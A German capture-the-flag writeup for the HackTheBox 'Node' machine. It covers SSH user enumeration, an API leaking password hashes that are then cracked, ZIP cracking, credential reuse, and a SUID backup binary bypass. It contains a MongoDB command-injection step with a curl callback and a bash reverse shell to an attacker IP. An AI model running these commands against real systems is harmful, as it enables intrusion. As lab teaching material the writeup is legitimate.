> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/node-hackthebox-writeup.md).

# Node HackTheBox Writeup

Node HackTheBox Medium Linux-Maschine Writeup zu Informationsleck, API-Enumeration, Hash-Knacken, ZIP-Datei-Knacken, mit praktischer Enumeration, Exploitation, Fuß in der Tür und Privilegieneskalation

{% embed url="<https://app.hackthebox.com/machines/Node>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Informationsleck
* API-Aufzählung
* Hashes knacken
* ZIP-Datei knacken
* Backup-Download - gespeicherte Anmeldedaten
* MongoDB-Enumeration
* Mongo-Task-Injection - Command Injection (User-Pivoting)
* Ausnutzung der SUID-Backup-Binary - dynamische Analyse
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3d6450df84df022500bd9c52160d1173778b26a5%2Fimage%20(813).png?alt=media" alt=""><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b3022c6e7fe219af5fe4e46d38ead00f7a4013f4%2Fimage%20(814).png?alt=media" alt=""><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.58 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f7f38e2bcf0bdaca8164b3d6b8c0e30496186158%2Fimage%20(815).png?alt=media" alt=""><figcaption></figcaption></figure>

/*/Analyse offener Ports mit extractPorts (22.3000) //*

Verwendung der extractPorts-Funktion, um offene Ports kompakt anzuzeigen und in die Zwischenablage zu kopieren.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0223db9b58bb2559743d0a80b3f73d64178f176%2Fimage%20(816).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

```bash
nmap -sCV -p22,3000 10.10.10.58 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-728828e2e46e7a13e7ff38f94488f5ef8d4b0dc3%2Fimage%20(817).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Port 22 - SSH**

Wir stellen fest, dass die Version anfällig für die Auflistung von Benutzern ist, da sie älter als Version 7.7 ist. Dadurch lässt sich eine Benutzerliste ausprobieren.

Verwendung von `searchsploit` um einen Exploit zu finden

```bash
searchsploit -m linux/remote/45939.py
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8a3da6bd4ba640c1cb962818e374f300dab34243%2Fimage%20(818).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir verwenden diesen Exploit, um zu prüfen, ob ein Benutzer gültig ist oder nicht:

```bash
python2.7 45939.py 10.10.10.58 root 2>/dev/null
python2.7 45939.py 10.10.10.58 pepito 2>/dev/null
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7f99ea9527a3529e7cecbe2ebe42af51f5e18259%2Fimage%20(834).png?alt=media" alt=""><figcaption></figcaption></figure>

## Port 3000 - HTTP

Wir finden mehrere potenzielle Benutzer: `tom`, `mark`, `rastating`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e109cd73e1febddbe7922111e857575065513b01%2Fimage%20(819).png?alt=media" alt=""><figcaption></figcaption></figure>

SSH-Auflistung mit `45939.py` um Benutzer zu testen:

```bash
python2.7 45939.py 10.10.10.58 tom 2>/dev/null
python2.7 45939.py 10.10.10.58 mark 2>/dev/null
python2.7 45939.py 10.10.10.58 rastating 2>/dev/null
```

Wir stellen fest, dass `tom` und `mark` gültige Benutzer sind.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a9b44dd75f873e755d897c098929846fe55ea84c%2Fimage%20(835).png?alt=media" alt=""><figcaption></figcaption></figure>

### Verzeichnisliste:

Wir verwenden `gobuster` um Verzeichnisse auf Port 3000 aufzulisten:

```bash
gobuster dir -u http://10.10.10.58:3000/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100 --exclude-length 3861
```

Es wurden keine interessanten Informationen gefunden. Beim Untersuchen der Netzwerkanfragen in Firefox finden wir jedoch eine `neueste` Datei, die eine API aufruft.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-06807a8b104d60e2ce99ccd0ee92b120bfbd5925%2Fimage%20(820).png?alt=media" alt=""><figcaption></figcaption></figure>

### Untersuchung der API:

Die API enthält eine `/users` Route, die sensible Informationen zurückgibt, einschließlich Passwort-Hashes für mehrere Benutzer:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f88eb3485eebee4313dedefab7db2d7f6b472365%2Fimage%20(821).png?alt=media" alt=""><figcaption></figcaption></figure>

* `myP14ceAdm1nAcc0uNT` : `dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af`
* `tom` : `f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240`
* `mark` : `de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73`
* `rastating` : `5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c06bb6ab044aa7047d72833bc98adeb3a6ac096%2Fimage%20(822).png?alt=media" alt=""><figcaption></figcaption></figure>

### Passwort-Knacken:

Wir verwenden `crackstation` um die Passwörter der Benutzer zu knacken.

{% embed url="<https://crackstation.net/>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d23b5ee470cc70e0aa6e39235cf72cb6e4f9ab20%2Fimage%20(823).png?alt=media" alt=""><figcaption></figcaption></figure>

Die dekodierten Passwörter lauten wie folgt:

* `myP14ceAdm1nAcc0uNT` : `manchester`
* `tom`: `spongebob`
* `mark`: `snowflake`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d08b5cbc12dba2bfeed1677fc82ff11b12200842%2Fimage%20(824).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir schaffen es, uns mit dem Benutzer `myP14ceAdm1nAcc0uNT` im Administrationsbereich zu verbinden.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be7257781c669d9aaed59a1b397a230e49033d0b%2Fimage%20(826).png?alt=media" alt=""><figcaption></figcaption></figure>

### Backup herunterladen:

Das `myP14ceAdm1nAcc0uNT` Der Benutzer ermöglicht uns, eine Backup-Datei herunterzuladen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d594e0036f1b5a6a3e62d31ebd224bdcce7be75%2Fimage%20(827).png?alt=media" alt=""><figcaption></figcaption></figure>

Die heruntergeladene Datei enthält eine Base64-Zeichenfolge.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c373a9ef2d0049e6f0bf3d227fc5df7ce5f7b59e%2Fimage%20(828).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir dekodieren es in eine ZIP-Datei:

```bash
cat myplace.backup | base64 -d > myplace.zip
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-50f5a245da043b2ba00ead6cfde8c43bc8e713b5%2Fimage%20(829).png?alt=media" alt=""><figcaption></figcaption></figure>

### Brute-Force auf die ZIP-Datei:

**Extrahiere den Hash mit `zip2john`**:

Also verwenden wir zip2john, um den Hash zu extrahieren

```bash
zip2john myplace.zip > hash
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e5217cc3a4231bbfe17263a6ad72108f7d1c2a0f%2Fimage%20(831).png?alt=media" alt=""><figcaption></figcaption></figure>

**Passwortknacken mit `john`**:

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt hash
```

**Ergebnis**: Passwort gefunden - `magicword`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b41b1a155580db056f06be86ecb2913b3a9c5fd%2Fimage%20(830).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir schaffen es, die ZIP-Datei zu entpacken, die ein Site-Backup in der `/var` Verzeichnis.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a6df8fd8ab393e69b5823e14385857761e27b028%2Fimage%20(832).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68032f8b3385385a60059072d4d943f4ae00f679%2Fimage%20(833).png?alt=media" alt=""><figcaption></figcaption></figure>

### Untersuchung von `app.js`:

In dem `app.js` Datei finden wir sensible Informationen, einschließlich eines Benutzers (`mark`) und des zugehörigen Passworts für den Zugriff auf die Datenbank:

* `mark` : `5AYRft73VtFpc84k`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6a10f66ac171180d8455caa34d782a14273e918%2Fimage%20(836).png?alt=media" alt=""><figcaption></figcaption></figure>

#### SSH-Verbindung mit `mark`:

Wir verwenden die wiederhergestellten Informationen, um uns per SSH mit dem Benutzer zu verbinden `mark`:

```bash
ssh mark@10.10.10.58 
```

Passwort: `5AYRft73VtFpc84k`

Wir haben nun Zugriff auf die Zielmaschine.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ab3f5872971d26448ccecc1476176cf5a391c37e%2Fimage%20(837).png?alt=media" alt=""><figcaption></figcaption></figure>

## Pivoting zu Benutzer Tom

Wir müssen nun zu Benutzer **tom**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7e860b84f31a230d6f1bb6ca27d3db7f00e8cf8d%2Fimage%20(838).png?alt=media" alt=""><figcaption></figcaption></figure>

### Verbindung zur MongoDB-Basis

Beim Blick auf die aktuellen Prozesse stellen wir fest, dass **tom** führt eine `app.js` Datei mit Node.js aus.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aecd3069b1794efe68ceead1294729d117b63a5a%2Fimage%20(840).png?alt=media" alt=""><figcaption></figcaption></figure>

Diese Datei verbindet sich mit der `scheduler` Datenbank mit denselben Anmeldedaten wie der Benutzer **mark**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-470b6cccacde2de11832874e5469136038cad6c8%2Fimage%20(841).png?alt=media" alt=""><figcaption></figcaption></figure>

Um auf die Datenbank zuzugreifen, verwenden wir **mark** Anmeldedaten:

```bash
mongo --username mark --password 5AYRft73VtFpc84k --authenticationDatabase scheduler localhost:27017/scheduler
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cffc7eb1c4d2f9d0f23bb7914742bc5ba8bcb0ca%2Fimage%20(842).png?alt=media" alt=""><figcaption></figcaption></figure>

### Reverse Shell MongoDB

Das `app.js` Das Skript führt Systembefehle aus MongoDB-Dokumenten aus (über `doc.cmd`). Dies stellt eine kritische Schwachstelle dar, da beliebige Befehle eingeschleust und ausgeführt werden können.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bd17dba05d12847570ce940223a0322b85a2708%2Fimage%20(843).png?alt=media" alt=""><figcaption></figcaption></figure>

Um zu bestätigen, dass wir Befehle über MongoDB ausführen können

**Einen lokalen Webserver erstellen**

Auf dem Angriffsrechner einen Webserver starten, um Anfragen zu beobachten:

```bash
python3 -m http.server 80
```

**Füge einen Testbefehl in die `tasks` Sammlung**

Füge in MongoDB einen Befehl ein, der eine HTTP-Anfrage an deinen Angriffsrechner ausführt

```bash
db.tasks.insert({  cmd: "curl http://10.10.14.30"})
```

**Anfragen beobachten**

Wenn du eine Anfrage in den Webserver-Logs siehst, bestätigt das, dass die Befehle ausgeführt werden.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-30c6693db64e9323f5c5bd55cce4d54bb485d0ea%2Fimage%20(844).png?alt=media" alt=""><figcaption></figcaption></figure>

Starte eine Reverse Shell.

wir lauschen auf Port 443

```bash
nc -nlvp 443
```

#### Eine Reverse Shell starten

**Listener auf Port 443 konfigurieren** Auf dem angreifenden Rechner:

```bash
nc -nlvp 443
```

**Reverse-Shell-Befehl einfügen**

Füge in MongoDB einen Befehl ein, um eine Reverse Shell einzurichten:

```bash
db.tasks.insert({  cmd: "bash -c 'bash -i >&/dev/tcp/10.10.14.30/443 0>&1'"})
```

**Erfolgreiche Verbindung** Sobald der Befehl ausgeführt wurde, erhältst du eine interaktive Shell auf der Zielmaschine als Benutzer **tom**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-05c62263fef0e9fc6ca8f2d279c12b45044db653%2Fimage%20(845).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Terminal-Stabilisierung

```bash
script /dev/null -c bash
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Flagge user.txt :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ae0047a72eb461382ed79349e0bc30668b4087a8%2Fimage%20(846).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Privilegieneskalation

### SUID-Binary (Backup)

Um nach Dateien mit gesetztem SUID-Bit zu suchen, wird folgender Befehl verwendet:

```bash
find / -perm -4000 2>/dev/null
```

Dadurch finden wir eine Binärdatei namens `backup`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6922b7592f3cf4098f90ff1c3ce0a0f30c4e33c%2Fimage%20(2694).png?alt=media" alt=""><figcaption></figcaption></figure>

Der Eigentümer der Binary ist `root`, was bedeutet, dass sie mit den Rechten des Root-Benutzers ausgeführt wird.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6fcb0660850c1e58e8cef901fefeb0d47b831dfd%2Fimage%20(2695).png?alt=media" alt=""><figcaption></figcaption></figure>

Wenn wir versuchen, diese Binärdatei direkt auszuführen, passiert nichts. Durch das Testen verschiedener Eingaben stellen wir jedoch fest, dass sie eine durch Leerzeichen getrennte Zeichenfolge aus drei Zeichen akzeptiert, wodurch die verfügbaren Funktionen sichtbar werden:

```bash
/usr/local/bin/backup a d g
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-00176e6ae952d6c12ee2591674b1c71bc529b2d2%2Fimage%20(2696).png?alt=media" alt=""><figcaption></figcaption></figure>

Beim Blick in die `app.js` Datei finden wir Informationen zur Verwendung der Binary sowie einen für ihre Ausführung benötigten Schlüssel. Der Schlüssel befindet sich am Anfang der Datei.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-15ea3eb180eb20afb5065e5116da7d5531f1460f%2Fimage%20(2697).png?alt=media" alt=""><figcaption></figcaption></figure>

Um die Binärdatei zu verwenden, müssen wir den Schlüssel angeben, gefolgt vom Verzeichnispfad zum Speichern.

`45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cd8425aa280b95d8263516507e2c1a635339b9eb%2Fimage%20(2698).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
```

Dadurch wird eine Base64-Ausgabe erzeugt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2d78f5c24e2fbd08a0ac7cde16882e7ee5e5a01a%2Fimage%20(2699).png?alt=media" alt=""><figcaption></figcaption></figure>

Die Base64-Ausgabe kann in eine `.zip` Datei mit folgendem Befehl dekodiert werden:

{% code overflow="wrap" %}

```bash
echo "UEsDBDMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAcm9vdC50eHQBmQcAAgBBRQEIAEbBKBl0rFrayqfbwJ2YyHunnYq1Za6G7XLo8C3RH/hu0fArpSvYauq4AUycRmLuWvPyJk3sF+HmNMciNHfFNLD3LdkGmgwSW8j50xlO6SWiH5qU1Edz340bxpSlvaKvE4hnK/oan4wWPabhw/2rwaaJSXucU+pLgZorY67Q/Y6cfA2hLWJabgeobKjMy0njgC9c8cQDaVrfE/ZiS1S+rPgz/e2Pc3lgkQ+lAVBqjo4zmpQltgIXauCdhvlA1Pe/BXhPQBJab7NVF6Xm3207EfD3utbrcuUuQyF+rQhDCKsAEhqQ+Yyp1Tq2o6BvWJlhtWdts7rCubeoZPDBD6Mejp3XYkbSYYbzmgr1poNqnzT5XPiXnPwVqH1fG8OSO56xAvxx2mU2EP+Yhgo4OAghyW1sgV8FxenV8p5c+u9bTBTz/7WlQDI0HUsFAOHnWBTYR4HTvyi8OPZXKmwsPAG1hrlcrNDqPrpsmxxmVR8xSRbBDLSrH14pXYKPY/a4AZKO/GtVMULlrpbpIFqZ98zwmROFstmPl/cITNYWBlLtJ5AmsyCxBybfLxHdJKHMsK6Rp4MO+wXrd/EZNxM8lnW6XNOVgnFHMBsxJkqsYIWlO0MMyU9L1CL2RRwm2QvbdD8PLWA/jp1fuYUdWxvQWt7NjmXo7crC1dA0BDPg5pVNxTrOc6lADp7xvGK/kP4F0eR+53a4dSL0b6xFnbL7WwRpcF+Ate/Ut22WlFrg9A8gqBC8Ub1SnBU2b93ElbG9SFzno5TFmzXk3onbLaaEVZl9AKPA3sGEXZvVP+jueADQsokjJQwnzg1BRGFmqWbR6hxPagTVXBbQ+hytQdd26PCuhmRUyNjEIBFx/XqkSOfAhLI9+Oe4FH3hYqb1W6xfZcLhpBs4Vwh7t2WGrEnUm2/F+X/OD+s9xeYniyUrBTEaOWKEv2NOUZudU6X2VOTX6QbHJryLdSU9XLHB+nEGeq+sdtifdUGeFLct+Ee2pgR/AsSexKmzW09cx865KuxKnR3yoC6roUBb30Ijm5vQuzg/RM71P5ldpCK70RemYniiNeluBfHwQLOxkDn/8MN0CEBr1eFzkCNdblNBVA7b9m7GjoEhQXOpOpSGrXwbiHHm5C7Zn4kZtEy729ZOo71OVuT9i+4vCiWQLHrdxYkqiC7lmfCjMh9e05WEy1EBmPaFkYgxK2c6xWErsEv38++8xdqAcdEGXJBR2RT1TlxG/YlB4B7SwUem4xG6zJYi452F1klhkxloV6paNLWrcLwokdPJeCIrUbn+C9TesqoaaXASnictzNXUKzT905OFOcJwt7FbxyXk0z3FxD/tgtUHcFBLAQI/AzMDAQBjAG++IksAAAAA7QMAABgKAAAIAAsAAAAAAAAAIIC0gQAAAAByb290LnR4dAGZBwACAEFFAQgAUEsFBgAAAAABAAEAQQAAAB4EAAAAAA==" | base64 -d > root.zip
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-add6eb228092d08995a4a22ec00be62184a234ed%2Fimage%20(2700).png?alt=media" alt=""><figcaption></figcaption></figure>

Die ZIP-Datei ist passwortgeschützt. Wir verwenden das zuvor gefundene Passwort

* Passwort: `magicword`

Allerdings ist die `root.txt` die im Archiv enthaltene Datei eine Finte (Ablenkung).

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79d0d9d098154a4960f1ded8fe2d58fdf3a04e16%2Fimage%20(2701).png?alt=media" alt=""><figcaption></figcaption></figure>

### Detaillierte Analyse mit `ltrace`

Verwendung von `ltrace`, sehen wir, dass die Binärdatei den Pfad vergleicht `/root` mit dem im Argument angegebenen. Wenn die Pfade übereinstimmen, wird eine Troll-Cartoon-Grafik angezeigt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4c9399086f5f711c882db95e7cc13bf7e3dc7b9b%2Fimage%20(2702).png?alt=media" alt=""><figcaption></figcaption></figure>

Um diese Prüfung zu umgehen, führen wir die Binärdatei aus dem Root-Verzeichnis (`/`) aus, indem wir ein Backup von `root`

```bash
/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 root
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f8e2ee2015d0e34119833bfc5a61210be94dc54f%2Fimage%20(2704).png?alt=media" alt=""><figcaption></figcaption></figure>

Die neue Version liegt ebenfalls in Base64 vor. Wir dekodieren sie, um den endgültigen Inhalt zu erhalten:

{% code overflow="wrap" %}

```bash
echo "UEsDBAoAAAAAABGYKVoAAAAAAAAAAAAAAAAFABwAcm9vdC9VVAkAA9EcgGfqbIBndXgLAAEEAAAAAAQAAAAAUEsDBBQACQAIANGDEUd/sK5kgwAAAJQAAAANABwAcm9vdC8ucHJvZmlsZVVUCQADGf7RVepsgGd1eAsAAQQAAAAABAAAAAD8r00Pw3PJzvStJe+DfzUN8UNUW9s/8c8gxkn6EbwYFjz6EhlqrWUgrE7OqsE9WqQ5px0gtdidq+HlM1/RkD9oFAvZq2hqDfFORRfDgUJkbsn99iSSc2gM+StxSVn+NwjTSJmnXOZ0NgrUUlL4pKssLirrSoQfcLHFKnm9iDACjDudg1BLBwh/sK5kgwAAAJQAAABQSwMECgAAAAAAGYkQVQAAAAAAAAAAAAAAAAwAHAByb290Ly5jYWNoZS9VVAkAAxLB+2LqbIBnd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9vdC9VVAUAA9EcgGd1eAsAAQQAAAAABAAAAABQSwECHgMUAAkACADRgxFHf7CuZIMAAACUAAAADQAYAAAAAAABAAAApIE/AAAAcm9vdC8ucHJvZmlsZVVUBQADGf7RVXV4CwABBAAAAAAEAAAAAFBLAQIeAwoAAAAAABmJEFUAAAAAAAAAAAAAAAAMABgAAAAAAAAAEADAQRkBAAByb290Ly5jYWNoZS9VVAUAAxLB+2J1eAsAAQQAAAAABAAAAABQSwECHgMKAAkAAAA0fCNLAAAAAAwAAAAAAAAAIAAYAAAAAAAAAAAApIFfAQAAcm9vdC8uY2FjaGUvbW90ZC5sZWdhbC1kaXNwbGF5ZWRVVAUAA8MSrFl1eAsAAQQAAAAABAAAAABQSwECHgMKAAkAAAARmClaSGwEni0AAAAhAAAADQAYAAAAAAABAAAAoIHVAQAAcm9vdC9yb290LnR4dFVUBQAD0RyAZ3V4CwABBAAAAAAEAAAAAFBLAQIeAxQACQAIAOuRVke95RA+mwUAACIMAAAMABgAAAAAAAEAAACkgVkCAAByb290Ly5iYXNocmNVVAUAA6kZKVZ1eAsAAQQAAAAABAAAAABQSwECHgMUAAkACADEZRFV4P5Up0QBAACFAgAADQAYAAAAAAABAAAAgIFKCAAAcm9vdC8udmltaW5mb1VUBQAD/9T8YnV4CwABBAAAAAAEAAAAAFBLAQIeAwoAAAAAABmJEFUAAAAAAAAAAAAAAAALABgAAAAAAAAAEADtQeUJAAByb290Ly5uYW5vL1VUBQADEsH7YnV4CwABBAAAAAAEAAAAAFBLAQIeAwoACQAAAMZKO0vZ7R88EwAAAAcAAAAZABgAAAAAAAEAAACAgSoKAAByb290Ly5uYW5vL3NlYXJjaF9oaXN0b3J5VVQFAAOzX8tZdXgLAAEEAAAAAAQAAAAAUEsFBgAAAAAJAAkA/gIAAKAKAAAAAA==" | base64 -d > root.zip
```

{% endcode %}

### root.txt-Flagge :)

Durch das Entpacken der finalen Datei erhalten wir Zugriff auf den gewünschten Inhalt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-597ef9ae304190da28e338a8b46bb5914d17eb08%2Fimage%20(2706).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9975137b038e2d13235d78a8413a013245f329f8%2Fimage%20(2705).png?alt=media" alt="" width="513"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-medium/node-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
